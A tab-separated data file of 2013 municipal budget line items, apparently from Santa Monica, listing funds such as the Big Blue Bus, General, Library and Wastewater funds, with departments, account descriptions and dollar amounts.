748	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404820.0	PROP A SALES TAX	658.0	Sales Tax	2013	-11830060.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11830060.0
749	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PRINTING - GENERAL		 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
750	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		PRINTING - GENERAL		 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
751	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNREALIZED GAIN / LOSS	616.0	Investment Income	2013	-1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000.0
752	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522840.0	FUEL AND OIL TAXES-SVC EQUIP		 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
753	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	16120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16120.0
754	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	480236.0	0	0.0	0.0	0	0	0.0	4802	0.0	0	0	0.0	485038.0
755	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555330.0	VOUCHER REDEMPTIONS	806.0	 Supplies and Expenses	2013	0.0	0	0.0	17101.0	0	0	0.0	0	0.0	0	0	0.0	17101.0
756	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2013	34441.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	34441.0
757	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
758	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2013	25278.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25278.0
759	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2013	-918000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-918000.0
760	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2013	8511.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8511.0
761	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2013	42698.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	42698.0
762	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407050.0	GEN PROM BUS LIC - PICO	622.0	Other	2013	-4300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4300.0
763	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401200.0	FIELD PERMITS	618.0	Rentals	2013	-220548.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-220548.0
764	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400771.0	OUTDOOR DINING REVENUE	618.0	Rentals	2013	-517664.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-517664.0
765	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50000.0
766	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400770.0	LEASE RENTAL REV-BEACH CLUB	618.0	Rentals	2013	-78239.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-78239.0
767	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401810.0	ENCROACHMENT REVENUE	622.0	Other	2013	-118000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-118000.0
768	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400950.0	MOUNTAIN VIEW LEASE REVENUE	618.0	Rentals	2013	-356000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-356000.0
769	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2013	-17952.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-17952.0
770	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2013	2635070.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2635070.0
771	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
772	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
773	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2013	43050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43050.0
774	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
775	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	18720.0	0	0.0	0.0	0	0	0.0	187	0.0	0	0	0.0	18907.0
776	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544115.0	FARE MEDIA		 Supplies and Expenses	2013	35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35000.0
777	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544113.0	ONBOARD MATERIALS		 Supplies and Expenses	2013	99596.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	99596.0
778	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522184.0	BANK FEES-PARKING AUTHORITY	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	700	0	0.0	700.0
779	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402000.0	PASSENGER REVENUE	650.0	Charges for Service	2013	-14521430.0	0	-162810.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14684240.0
780	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2013	1403992.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1403992.0
781	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405450.0	HBP-FHWA CAL INCLINE DESIGN	610.0	Intergovernmental	2013	-1654536.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1654536.0
782	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2013	-108632.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-108632.0
783	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402220.0	CEMETERY MISC SALES / SERVICES	650.0	Charges for Service	2013	-267750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-267750.0
784	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402410.0	SELF-INSURANCE BUS	650.0	Charges for Service	2013	-2500000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2500000.0
785	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402430.0	SELF-INSURANCE WORKERS COMP	650.0	Charges for Service	2013	-9126295.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9126295.0
786	B1	IS	1	General Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404810.0	REFUSE BINS - STORAGE FEES	612.0	Charges for Service	2013	-65800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-65800.0
787	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401600.0	LIBRARY FINES	614.0	Fines and Forfeitures	2013	-290000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-290000.0
788	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401630.0	LIBRARY COPIERS AND PRINTERS	612.0	Charges for Service	2013	-32000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-32000.0
789	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401640.0	LIBRARY MEETING ROOM RENTAL	618.0	Rentals	2013	-47000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-47000.0
790	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511490.0	OVERTIME	812.0	Salaries and Wages	2013	17031.0	0	0.0	0.0	0	0	0.0	170	0.0	0	0	0.0	17201.0
791	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING		 Supplies and Expenses	2013	30600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30600.0
792	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	555210.0	TRAINING		 Supplies and Expenses	2013	1920.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1920.0
793	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555120.0	LA SEWAGE DISPOSAL		 Supplies and Expenses	2013	6402960.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6402960.0
794	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522950.0	CNG FUEL		 Supplies and Expenses	2013	3060.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3060.0
795	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2013	23000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23000.0
796	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2013	2678.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2678.0
797	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2013	24658.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24658.0
798	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533080.0	MARTIN LUTHER KING DAY	810.0	 Supplies and Expenses	2013	7700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7700.0
799	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566970.0	FINGERPRINTING	806.0	 Supplies and Expenses	2013	88000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88000.0
800	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
801	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	407160.0	STORMWATER IN-LIEU FEES	662.0	Other	2013	-400000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-400000.0
802	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	5250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5250.0
803	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2013	45003.0	0	0.0	0.0	0	0	0.0	450	0.0	0	0	0.0	45453.0
804	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	400430.0	LIBRARY FEES	612.0	Charges for Service	2013	-6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6000.0
805	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2013	36164.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36164.0
806	B1	IS	14	TORCA Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES		 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
807	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522180.0	BANK FEES		 Supplies and Expenses	2013	6300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6300.0
808	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522180.0	BANK FEES		 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
809	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567010.0	PUBLIC SAFETY BONDS	910.0	 Supplies and Expenses	2013	967200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	967200.0
810	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401130.0	SPORTS LEAGUES	612.0	Charges for Service	2013	-121680.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-121680.0
811	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2013	-474018.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-474018.0
812	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2013	224.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	224.0
813	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522950.0	CNG FUEL	812.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
814	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	28376	0	0.0	28376.0
815	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555010.0	CONTRACTUAL SERVICES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	7167027	0	0.0	7167027.0
816	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	698772.0	0	0.0	0.0	0	0	0.0	-58369	0.0	0	0	0.0	640403.0
817	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511490.0	OVERTIME		Salaries and Wages	2013	5000.0	0	0.0	0.0	0	0	0.0	50	0.0	0	0	0.0	5050.0
818	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	8700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8700.0
819	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
820	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
821	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	577065.0	MEMBERSHIP FEES		 Supplies and Expenses	2013	750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	750.0
822	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522710.0	AUTO REIMBURSEMENT	804.0	 Supplies and Expenses	2013	34272.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	34272.0
823	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402060.0	STA SALES TAX -OPERATING	658.0	Sales Tax	2013	-3325729.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3325729.0
824	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
825	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522820.0	CONFERENCES/MEETINGS/TRAVEL	812.0	 Supplies and Expenses	2013	11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11000.0
826	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533260.0	REPAIRS/IMPROVEMENTS	812.0	 Supplies and Expenses	2013	61875.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	61875.0
827	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	70820.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70820.0
828	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
829	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555210.0	TRAINING	812.0	 Supplies and Expenses	2013	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
830	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2013	1605894.0	0	0.0	0.0	0	0	0.0	3515	0.0	0	0	0.0	1609409.0
831	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2013	13500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13500.0
832	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2013	6324.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6324.0
833	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	187298.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	187298.0
834	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	12500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12500.0
835	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2013	17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17000.0
836	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
837	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555220.0	UNIFORM RENTAL	808.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
838	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2013	1517731.0	0	0.0	0.0	0	0	0.0	16829	0.0	0	0	0.0	1534560.0
839	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2013	12300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12300.0
840	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		UNEMPLOYMENT	808.0	Salaries and Wages	2013	15596.0	0	0.0	0.0	0	0	0.0	187	0.0	0	0	0.0	15783.0
841	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
842	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2013	35700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35700.0
843	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	112800	0.0	0	0	0.0	112800.0
844	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2013	256858.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	256858.0
845	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2013	118710.3	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	118710.3
846	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2013	226556.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	226556.0
847	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2013	517000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	517000.0
848	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555210.0	TRAINING	862.0	 Supplies and Expenses	2013	120000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120000.0
849	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2013	257504.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	257504.0
850	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402370.0	REIMB FROM OTHER FUNDS	650.0	Charges for Service	2013	-351379.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-351379.0
851	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402230.0	MAUSOLEUM-MISC SALES/SVCS	650.0	Charges for Service	2013	-27030.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-27030.0
852	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2013	-150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-150000.0
853	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401350.0	GEN PROM BUS LICENSE MONTANA	622.0	Other	2013	-5350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5350.0
854	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	250000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250000.0
855	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
856	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544040.0	BOOKS/PAMPHLETS	816.0	 Supplies and Expenses	2013	50.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50.0
857	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522950.0	CNG FUEL		 Supplies and Expenses	2013	229200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	229200.0
858	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	14619.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14619.0
859	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
860	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522911.0	FUEL - REVENUE VEHICLES		 Supplies and Expenses	2013	1100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1100000.0
861	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC	910.0	 Supplies and Expenses	2013	29868.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29868.0
862	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	569230.0	INTEREST ON SMURRF LOAN		 Supplies and Expenses	2013	61219.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	61219.0
863	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT-WISE		 Supplies and Expenses	2013	-596000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-596000.0
864	B1	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	910.0	 Supplies and Expenses	2013	2395940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2395940.0
